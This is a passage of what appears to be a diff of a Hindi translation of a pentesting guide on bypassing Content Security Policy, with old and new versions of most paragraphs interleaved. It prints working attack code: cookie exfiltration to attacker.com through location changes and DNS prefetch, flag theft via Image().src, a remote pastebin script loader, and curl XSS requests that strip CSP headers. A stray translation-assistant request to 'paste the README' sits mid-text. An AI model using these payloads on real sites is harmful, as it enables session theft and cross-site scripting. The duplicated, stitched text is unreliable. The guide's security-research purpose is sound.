हालाँकि, अंतिम `http://localhost:5555/301` सर्वर-साइड पर **`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`** पर रीडायरेक्ट कर दिया जाएगा। चूँकि यह एक रीडायरेक्शन है, **पाथ पर विचार नहीं किया जाएगा**, और **स्क्रिप्ट लोड की जा सकती है**, इस तरह पाथ प्रतिबंध बायपास हो जाएगा।
इस रीडायरेक्शन के साथ, भले ही पथ को पूरी तरह से निर्दिष्ट किया गया हो, यह अभी भी बायपास किया जाएगा।
इस रीडायरेक्शन के साथ, भले ही पाथ पूरी तरह से निर्दिष्ट किया गया हो, यह फिर भी बायपास हो जाएगा।
इसलिए, सबसे अच्छा समाधान यह सुनिश्चित करना है कि वेबसाइट में कोई ओपन रीडायरेक्ट कमजोरियाँ न हों और CSP नियमों में कोई ऐसे डोमेन न हों जिन्हें शोषित किया जा सके।
इसलिए, सबसे अच्छा समाधान यह सुनिश्चित करना है कि वेबसाइट में कोई open redirect vulnerabilities न हों और CSP नियमों में ऐसे कोई डोमेन न हों जिनका शोषण किया जा सके।
### लटकते मार्कअप के साथ CSP बायपास
### Bypass CSP with dangling markup
[यहाँ पढ़ें](../dangling-markup-html-scriptless-injection/index.html).
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; XSS के माध्यम से
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और `img-src *` का मतलब है कि आप वेबपेज पर किसी भी संसाधन से कोई भी छवि उपयोग कर सकते हैं।
`'unsafe-inline'` का मतलब है कि आप code के अंदर कोई भी script execute कर सकते हैं (XSS code execute कर सकता है) और `img-src *` का मतलब है कि आप webpage में किसी भी resource से कोई भी image इस्तेमाल कर सकते हैं।
आप इस CSP को छवियों के माध्यम से डेटा को एक्सफिल्ट्रेट करके बायपास कर सकते हैं (इस अवसर पर XSS एक CSRF का दुरुपयोग करता है जहां बॉट द्वारा सुलभ एक पृष्ठ में SQLi होता है, और एक छवि के माध्यम से ध्वज निकालता है):
आप इस CSP को images के जरिए data exfiltrate करके bypass कर सकते हैं (इस उदाहरण में XSS एक CSRF का दुरुपयोग करता है जहाँ bot द्वारा access की जा सकने वाली एक page में SQLi मौजूद है, और image के जरिए flag निकालता है):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -451,41 +451,41 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
आप इस कॉन्फ़िगरेशन का दुरुपयोग करके **एक छवि के अंदर डाले गए जावास्क्रिप्ट कोड को लोड** कर सकते हैं। यदि उदाहरण के लिए, पृष्ठ ट्विटर से छवियों को लोड करने की अनुमति देता है। आप **एक विशेष छवि तैयार** कर सकते हैं, **उसे ट्विटर पर अपलोड** कर सकते हैं और "**unsafe-inline**" का दुरुपयोग करके **एक JS कोड को निष्पादित** कर सकते हैं (जैसे एक सामान्य XSS) जो **छवि को लोड** करेगा, **उससे JS को निकाल**ेगा और **उसे निष्पादित** करेगा: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
आप इस कॉन्फ़िगरेशन का दुरुपयोग करके **load javascript code inserted inside an image** भी कर सकते हैं। उदाहरण के लिए, अगर पेज Twitter से images लोड करने की अनुमति देता है तो आप एक **special image** तैयार करके उसे Twitter पर **upload** कर सकते हैं और "**unsafe-inline**" का दुरुपयोग करके एक JS code (एक सामान्य XSS की तरह) **execute** करवा सकते हैं जो उस **image** को **load** करेगा, उसमें से **JS** को **extract** करेगा और **execute** **it**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### सेवा कार्यकर्ताओं के साथ
### With Service Workers
सेवा कार्यकर्ताओं की **`importScripts`** फ़ंक्शन CSP द्वारा सीमित नहीं है:
Service workers का **`importScripts`** function CSP द्वारा सीमित नहीं है:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}
### नीति इंजेक्शन
### Policy Injection
**अनुसंधान:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### क्रोम
#### Chrome
यदि एक **पैरामीटर** जो आपने भेजा है, **नीति के घोषणा** के अंदर **पेस्ट** किया जा रहा है, तो आप **नीति** को इस तरह से **बदल** सकते हैं कि यह **बेकार** हो जाए। आप इन बायपास में से किसी के साथ **स्क्रिप्ट 'unsafe-inline'** की अनुमति दे सकते हैं:
यदि आपके द्वारा भेजा गया कोई **parameter** policy की **declaration** के अंदर **pasted inside** किया जा रहा है, तो आप किसी तरह से उस **policy** को **alter** करके इसे बेकार बना सकते हैं। आप इन bypasses में से किसी का उपयोग करके **allow script 'unsafe-inline'** करवा सकते हैं:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
क्योंकि यह निर्देश **मौजूदा script-src निर्देशों को अधिलेखित** करेगा।\
आप यहाँ एक उदाहरण पा सकते हैं: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
क्योंकि यह निर्देश **overwrite existing script-src directives** करेगा.\
आप उदाहरण यहाँ देख सकते हैं: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Edge में यह बहुत सरल है। यदि आप CSP में बस यह जोड़ सकते हैं: **`;_`** **Edge** पूरी **नीति** को **गिरा** देगा।\
उदाहरण: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
Edge में यह बहुत आसान है। यदि आप CSP में केवल इसको जोड़ सकें: **`;_`**, तो **Edge** पूरी **policy** को **drop** कर देगा.\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; XSS (iframe) के माध्यम से - समय हमला
### img-src \*; via XSS (iframe) - Time attack
निर्देश `'unsafe-inline'` की कमी पर ध्यान दें।\
इस बार आप पीड़ित को **XSS** के माध्यम से **आपके नियंत्रण** में एक पृष्ठ **लोड** करने के लिए मजबूर कर सकते हैं `<iframe` के साथ। इस बार आप पीड़ित को उस पृष्ठ तक पहुँचने के लिए मजबूर करेंगे जहाँ से आप जानकारी निकालना चाहते हैं (**CSRF**)। आप पृष्ठ की सामग्री तक पहुँच नहीं सकते, लेकिन यदि किसी तरह आप **पृष्ठ को लोड करने में लगने वाले समय को नियंत्रित कर सकते हैं** तो आप आवश्यक जानकारी निकाल सकते हैं।
निर्देश `'unsafe-inline'` की कमी पर ध्यान दें.\
इस बार आप victim को `<iframe>` के साथ **XSS** के जरिए एक पेज **load** करने के लिए मजबूर कर सकते हैं जो **your control** में है। इस बार आप victim को उस पेज तक पहुँचाने वाले हैं जहाँ से आप जानकारी निकालना चाहते हैं (**CSRF**)। आप पेज के content तक access नहीं कर सकते, लेकिन अगर किसी तरह आप पेज के load होने में लगने वाले समय को **control the time the page needs to load** कर सकें तो आप आवश्यक जानकारी निकाल सकते हैं।
इस बार एक **झंडा** निकाला जाएगा, जब भी एक **चर सही अनुमानित** किया जाता है SQLi के माध्यम से, **प्रतिक्रिया** में **अधिक समय** लगता है नींद फ़ंक्शन के कारण। फिर, आप झंडा निकालने में सक्षम होंगे:
इस बार एक **flag** निकाला जाएगा — जब भी SQLi के जरिए कोई **char is correctly guessed**, तो sleep function की वजह से **response** को **more time** लगेगा। फिर आप flag निकाल पाएँगे:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -545,24 +545,24 @@ console.log(prefix)
run()
</script>
```
### Via Bookmarklets
### Bookmarklets के माध्यम से
यह हमला कुछ सामाजिक इंजीनियरिंग को शामिल करेगा जहाँ हमलावर **उपयोगकर्ता को ब्राउज़र के बुकमार्कलेट पर एक लिंक खींचने और छोड़ने के लिए मनाता है**। यह बुकमार्कलेट **दुष्ट जावास्क्रिप्ट** कोड को शामिल करेगा जो खींचने और छोड़ने या क्लिक करने पर वर्तमान वेब विंडो के संदर्भ में निष्पादित होगा, **CSP को बायपास करते हुए और संवेदनशील जानकारी** जैसे कि कुकीज़ या टोकन चुराने की अनुमति देगा।
यह attack कुछ social engineering शामिल करता है जहाँ attacker **उपयोगकर्ता को ब्राउज़र के bookmarklet पर एक लिंक drag\&drop करने के लिए मनाता है**। यह bookmarklet में **malicious javascript** code होगा जो जब drag\&dropped या क्लिक किया जाएगा तो वर्तमान वेब विंडो के context में execute होगा, **CSP को bypass करते हुए और cookies या tokens जैसे संवेदनशील जानकारी चुराने की अनुमति देगा**।
अधिक जानकारी के लिए [**यहाँ मूल रिपोर्ट देखें**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)।
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP बायपास द्वारा CSP को प्रतिबंधित करना
### CSP को सीमित करके bypass
[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने की अनुमति देता है**।
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को bypass किया गया है जब एक allowed iframe के अंदर एक अधिक restrictive CSP inject किया गया जो एक specific JS file को load होने से रोकता था और फिर वह file, **prototype pollution** या **dom clobbering** के माध्यम से, **abuse a different script to load an arbitrary script** करने की अनुमति देता था।
आप **`csp`** विशेषता के साथ एक Iframe के CSP को **प्रतिबंधित** कर सकते हैं:
आप **Iframe की CSP को सीमित कर सकते हैं** **`csp`** attribute के साथ:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
इस [**CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML injection** के माध्यम से **CSP** को अधिक **restrict** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट निष्क्रिय हो गया और इसलिए **vulnerability exploitable हो गई।**\
CSP को **HTML meta tags** का उपयोग करके अधिक restrictive बनाया जा सकता है और inline scripts को **removing** करके **entry** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट inline स्क्रिप्ट को **enable** किया जा सकता है:
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), में, **HTML injection** के माध्यम से यह संभव था कि **CSP** को और अधिक **सीमित** किया जाए ताकि CSTI को रोकने वाला एक script disabled हो जाए और इसलिए **vulnerability became exploitable.**\
CSP को और अधिक सख्त बनाया जा सकता है **HTML meta tags** का उपयोग करके और inline scripts को disabled किया जा सकता है **removing** उस **entry** को जो उनके **nonce** को अनुमति देता है और कुछ inline script को **enable specific inline script via sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -571,51 +571,69 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### JS exfiltration with Content-Security-Policy-Report-Only
### JS exfiltration Content-Security-Policy-Report-Only के साथ
यदि आप सर्वर को **`Content-Security-Policy-Report-Only`** हेडर के साथ **आपके द्वारा नियंत्रित मान** के साथ प्रतिक्रिया देने में सक्षम हैं (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर इंगित कर सकते हैं और यदि आप **JS सामग्री** को **`<script>`** के साथ लपेटते हैं और क्योंकि CSP द्वारा `unsafe-inline` की अनुमति नहीं है, तो यह **CSP त्रुटि** को **प्रेरित** करेगा और स्क्रिप्ट का एक भाग (जिसमें संवेदनशील जानकारी शामिल है) `Content-Security-Policy-Report-Only` से सर्वर पर भेजा जाएगा।
अगर आप किसी तरह सर्वर को हेडर **`Content-Security-Policy-Report-Only`** के साथ प्रतिक्रिया देने में सक्षम हो जाएँ और वह **value आपके नियंत्रण में हो** (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर पॉइंट करा सकते हैं और अगर आप उस **JS content** को जिसे आप exfiltrate करना चाहते हैं **`<script>`** से **wrap** करते हैं और चूँकि बहुत संभव है कि CSP में `unsafe-inline` allowed नहीं है, तो यह **trigger a CSP error** करेगा और script का वह हिस्सा (जिसमें संवेदनशील जानकारी हो) `Content-Security-Policy-Report-Only` के माध्यम से सर्वर पर भेज दिया जाएगा।
उदाहरण के लिए [**इस CTF लेख को देखें**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### CSP और Iframe के साथ जानकारी लीक करना
### Leaking Information with CSP and Iframe
- एक `iframe` बनाया जाता है जो एक URL (चलो इसे `https://example.redirect.com` कहते हैं) की ओर इशारा करता है जिसे CSP द्वारा अनुमति दी गई है।
- यह URL फिर एक गुप्त URL (जैसे, `https://usersecret.example2.com`) की ओर रीडायरेक्ट करता है जो CSP द्वारा **अनुमति नहीं दी गई** है।
- `securitypolicyviolation` इवेंट को सुनकर, कोई `blockedURI` प्रॉपर्टी को कैप्चर कर सकता है। यह प्रॉपर्टी ब्लॉक किए गए URI के डोमेन को प्रकट करती है, जिससे प्रारंभिक URL द्वारा रीडायरेक्ट किए गए गुप्त डोमेन का लीक होना होता है।
- एक `iframe` बनाया जाता है जो एक URL की ओर इशारा करता है (इसे `https://example.redirect.com` कहें) जिसे CSP द्वारा अनुमति दी गई है।
- यह URL फिर एक गुप्त URL (उदा., `https://usersecret.example2.com`) पर redirect कर देता है, जिसे CSP द्वारा **अनुमति नहीं** है।
- `securitypolicyviolation` इवेंट को सुनकर, आप `blockedURI` property को पकड़ सकते हैं। यह property blocked URI के domain का खुलासा करती है, जिससे प्रारंभिक URL जिस गुप्त domain पर redirect हुआ था वह leak हो जाता है।
यह ध्यान देने योग्य है कि Chrome और Firefox जैसे ब्राउज़रों में CSP के संबंध में iframes को संभालने में विभिन्न व्यवहार होते हैं, जो संवेदनशील जानकारी के संभावित लीक का कारण बन सकते हैं।
ध्यान देने योग्य है कि Chrome और Firefox जैसे browsers CSP के संदर्भ में iframes को हैंडल करते समय अलग व्यवहार दिखाते हैं, जो undefined behavior के कारण संवेदनशील जानकारी के संभावित leak का कारण बन सकता है।
एक और तकनीक CSP का स्वयं शोषण करना है ताकि गुप्त सबडोमेन का अनुमान लगाया जा सके। यह विधि एक बाइनरी सर्च एल्गोरिदम पर निर्भर करती है और CSP को विशिष्ट डोमेन को शामिल करने के लिए समायोजित करती है जो जानबूझकर ब्लॉक किए गए हैं। उदाहरण के लिए, यदि गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देश को संशोधित करके इन सबडोमेनों को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेनों का क्रमिक परीक्षण कर सकते हैं। यहाँ एक स्निपेट है जो दिखाता है कि CSP को इस विधि को सुविधाजनक बनाने के लिए कैसे सेट किया जा सकता है:
एक और तकनीक CSP का स्वयं उपयोग करके गुप्त subdomain का अनुमान लगाने से संबंधित है। यह तरीका एक binary search algorithm पर निर्भर करता है और CSP को समायोजित करके उन specific domains को शामिल करने पर जिसका जानबूझकर block किया गया हो। उदाहरण के लिए, यदि गुप्त subdomain अनजान characters से बना है, तो आप CSP directive को modify कर के इन subdomains को block या allow करके अलग-अलग subdomains को क्रमिक रूप से test कर सकते हैं। नीचे एक snippet दिया गया है जो दिखाता है कि इस method को सुविधाजनक बनाने के लिए CSP कैसे सेट किया जा सकता है:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP द्वारा अवरुद्ध या अनुमति प्राप्त अनुरोधों की निगरानी करके, कोई भी गुप्त उपडोमेन में संभावित वर्णों को संकीर्ण कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।
CSP द्वारा कौन‑से requests ब्लॉक या अनुमति किए जा रहे हैं इसे मॉनिटर करके, आप secret subdomain में संभावित characters को सीमित कर सकते हैं और अंततः पूरा URL उजागर कर सकते हैं।
दोनों विधियाँ CSP कार्यान्वयन और ब्राउज़रों में व्यवहार के बारीकियों का लाभ उठाती हैं, यह प्रदर्शित करते हुए कि कैसे प्रतीत होता है कि सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी लीक कर सकती हैं।
दोनों तरीके CSP की implementation और ब्राउज़रों में उसके व्यवहार की नाज़ुकियों का फायदा उठाते हैं, दिखाते हुए कि कैसे जाहिरा तौर पर सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी leak कर सकती हैं।
[**यहाँ**](https://ctftime.org/writeup/29310) से ट्रिक।
Trick from [**here**](https://ctftime.org/writeup/29310).
## CSP को बायपास करने के लिए असुरक्षित तकनीकें
## CSP बायपास करने के लिए असुरक्षित तकनीकें
### बहुत सारे पैरामीटर होने पर PHP त्रुटियाँ
### PHP Errors when too many params
[**इस वीडियो में टिप्पणी की गई अंतिम तकनीक**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) के अनुसार, बहुत सारे पैरामीटर (1001 GET पैरामीटर, हालांकि आप इसे POST पैरामीटर और 20 से अधिक फ़ाइलों के साथ भी कर सकते हैं) भेजने पर। PHP वेब कोड में कोई भी परिभाषित **`header()`** **नहीं भेजा जाएगा** क्योंकि यह त्रुटि उत्पन्न करेगा।
[**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) के अनुसार, बहुत अधिक parameters भेजने (1001 GET parameters — हालाँकि आप इसे POST params और 20 से अधिक files के साथ भी कर सकते हैं) से trigger होने वाली error के कारण PHP वेब कोड में परिभाषित किसी भी **`header()`** को **send नहीं किया जाएगा**।
### PHP प्रतिक्रिया बफर ओवरलोड
### PHP response buffer overload
PHP को डिफ़ॉल्ट रूप से **4096** बाइट्स तक प्रतिक्रिया को **बफरिंग** करने के लिए जाना जाता है। इसलिए, यदि PHP एक चेतावनी दिखा रहा है, तो **चेतावनियों के अंदर पर्याप्त डेटा प्रदान करके**, **प्रतिक्रिया** **CSP हेडर** से **पहले** **भेजी जाएगी**, जिससे हेडर को अनदेखा किया जाएगा।\
फिर, तकनीक मूल रूप से **चेतावनियों के साथ प्रतिक्रिया बफर को भरने** में है ताकि CSP हेडर न भेजा जाए।
PHP डिफ़ॉल्ट रूप से response को **4096** bytes तक buffer करने के लिए जाना जाता है। इसलिए, अगर PHP कोई warning दिखा रहा है, warnings के अंदर पर्याप्त डेटा देने से **response** **CSP header** से **पहले** **send** हो जाएगा, जिससे header ignore हो जाएगा.
फिर, यह technique मूलतः **response buffer को warnings से भरने** पर आधारित है ताकि CSP header भेजा न जाए।
[**इस लेख**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) से विचार।
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### त्रुटि पृष्ठ को फिर से लिखें
### Kill CSP via max_input_vars (headers already sent)
[**इस लेख**](https://blog.ssrf.kr/69) से ऐसा लगता है कि CSP सुरक्षा को बायपास करना संभव था एक त्रुटि पृष्ठ (संभावित रूप से CSP के बिना) को लोड करके और इसकी सामग्री को फिर से लिखकर।
क्योंकि headers को किसी भी output से पहले भेजा जाना चाहिए, PHP द्वारा उत्पन्न warnings बाद के `header()` कॉल्स को अमान्य कर सकते हैं। यदि user input `max_input_vars` से अधिक हो जाता है, तो PHP पहले एक startup warning फेंकता है; इसके बाद कोई भी `header('Content-Security-Policy: ...')` “headers already sent” के साथ fail हो जाएगा, जिससे प्रभावी रूप से CSP disable हो जाता है और अन्यथा blocked reflective XSS की अनुमति मिल जाती है।
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
कृपया src/pentesting-web/content-security-policy-csp-bypass/README.md की सामग्री यहाँ पेस्ट करें — मैं इसे Markdown/HTML टैग्स अपरिवर्तित रखते हुए अंग्रेज़ी से हिंदी में अनुवाद कर दूँगा।
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Rewrite Error Page
इस [**this writeup**](https://blog.ssrf.kr/69) से ऐसा लगता है कि एक error page (संभवतः बिना CSP के) को लोड करके और उसके कंटेंट को rewrite करके CSP protection को bypass करना संभव था।
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -624,40 +642,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME एक तकनीक है जो एक XSS (या अत्यधिक सीमित XSS) **एक पृष्ठ के अंत बिंदु में** का दुरुपयोग करती है ताकि **एक ही मूल के अन्य अंत बिंदुओं का दुरुपयोग किया जा सके।** यह एक हमलावर पृष्ठ से कमजोर अंत बिंदु को लोड करके और फिर हमलावर पृष्ठ को उसी मूल में वास्तविक अंत बिंदु पर ताज़ा करके किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह **कमजोर अंत बिंदु** **`opener`** ऑब्जेक्ट का उपयोग कर सकता है **पेलोड** में **DOM** तक **पहुँचने के लिए** **वास्तविक अंत बिंदु का दुरुपयोग करने के लिए।** अधिक जानकारी के लिए देखें:
SOME एक तकनीक है जो XSS (या बहुत सीमित XSS) का दुरुपयोग करके किसी पेज के endpoint में मौजूद कमी का फायदा उठाकर उसी origin के अन्य endpoints का दुरुपयोग करने के लिए प्रयोग की जाती है। यह vulnerable endpoint को एक attacker page से लोड करके और फिर attacker page को उसी same origin के real endpoint पर refresh करके किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह vulnerable endpoint payload में मौजूद `opener` object का उपयोग करके real endpoint के DOM तक पहुँच कर उसे दुरुपयोग कर सकता है। अधिक जानकारी के लिए देखें:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
इसके अलावा, **wordpress** में `/wp-json/wp/v2/users/1?_jsonp=data` पर एक **JSONP** अंत बिंदु है जो आउटपुट में भेजे गए **डेटा** को **प्रतिबिंबित** करेगा (केवल अक्षरों, संख्याओं और बिंदुओं की सीमा के साथ)।
Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (with the limitation of only letter, numbers and dots).
एक हमलावर उस अंत बिंदु का दुरुपयोग कर सकता है ताकि **WordPress के खिलाफ एक SOME हमला उत्पन्न किया जा सके** और इसे `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` के अंदर **एंबेड** किया जा सके, ध्यान दें कि यह **स्क्रिप्ट** **लोड** होगी क्योंकि यह **'self' द्वारा अनुमति दी गई है।** इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर **CSP को बायपास करने** के लिए **कमजोर** **callback** अंत बिंदु के माध्यम से **SOME हमले** का दुरुपयोग कर सकता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...\
इस हमले को कैसे करना है, इसके बारे में अधिक जानकारी के लिए देखें [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
एक attacker उस endpoint का दुरुपयोग करके WordPress के खिलाफ एक SOME attack जेनरेट कर सकता है और उसे `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` के अंदर embed कर सकता है। ध्यान दें कि यह **script** लोड होगी क्योंकि यह **allowed by 'self'** है। Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
यदि एक सख्त CSP है जो आपको **बाहरी सर्वरों के साथ बातचीत** करने की अनुमति नहीं देती है, तो कुछ चीजें हैं जो आप हमेशा जानकारी को एक्सफिल्ट्रेट करने के लिए कर सकते हैं।
If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.
### Location
आप बस स्थान को अपडेट कर सकते हैं ताकि हमलावर के सर्वर पर गुप्त जानकारी भेजी जा सके:
You could just update the location to send to the attacker's server the secret information:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
आप एक मेटा टैग को इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह केवल एक रीडायरेक्ट है, यह सामग्री को लीक नहीं करेगा)
आप meta tag inject करके redirect कर सकते हैं (यह सिर्फ़ एक redirect है, यह content को leak नहीं करेगा)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को आईपी पते में पूर्व-हल करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।\
आप एक ब्राउज़र को एक होस्टनाम को पूर्व-हल करने के लिए संकेत दे सकते हैं: `<link rel="dns-prefetch" href="something.com">`
पेजों को तेज़ी से लोड करने के लिए, ब्राउज़र होस्टनेम को पहले से IP पतों में रेज़ॉल्व करते हैं और उन्हें बाद के उपयोग के लिए कैश कर लेते हैं.\
आप ब्राउज़र को किसी होस्टनेम को पहले से रेज़ॉल्व करने के लिए संकेत दे सकते हैं: `<link rel="dns-prefetch" href="something.com">`
आप इस व्यवहार का दुरुपयोग करके **DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को बाहर निकाल सकते हैं**:
आप इस व्यवहार का दुरुपयोग करके **exfiltrate sensitive information via DNS requests** कर सकते हैं:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -674,18 +692,18 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
इससे बचने के लिए सर्वर HTTP हेडर भेज सकता है:
इसे होने से रोकने के लिए सर्वर निम्न HTTP header भेज सकता है:
```
X-DNS-Prefetch-Control: off
```
> [!TIP]
> स्पष्ट रूप से, यह तकनीक हेडलेस ब्राउज़रों (बॉट्स) में काम नहीं करती है
> ऐसा प्रतीत होता है कि यह तकनीक headless browsers (bots) में काम नहीं करती
### WebRTC
कई पृष्ठों पर आप पढ़ सकते हैं कि **WebRTC CSP की `connect-src` नीति की जांच नहीं करता है**।
कई पृष्ठों पर आप पढ़ सकते हैं कि **WebRTC CSP की `connect-src` नीति की जाँच नहीं करता है**.
वास्तव में, आप _DNS अनुरोध_ का उपयोग करके जानकारी _लीक_ कर सकते हैं। इस कोड को देखें:
वास्तव में आप _leak_ जानकारी को एक _DNS request_ के माध्यम से बाहर निकाल सकते हैं। इस कोड को देखें:
```javascript
;(async () => {
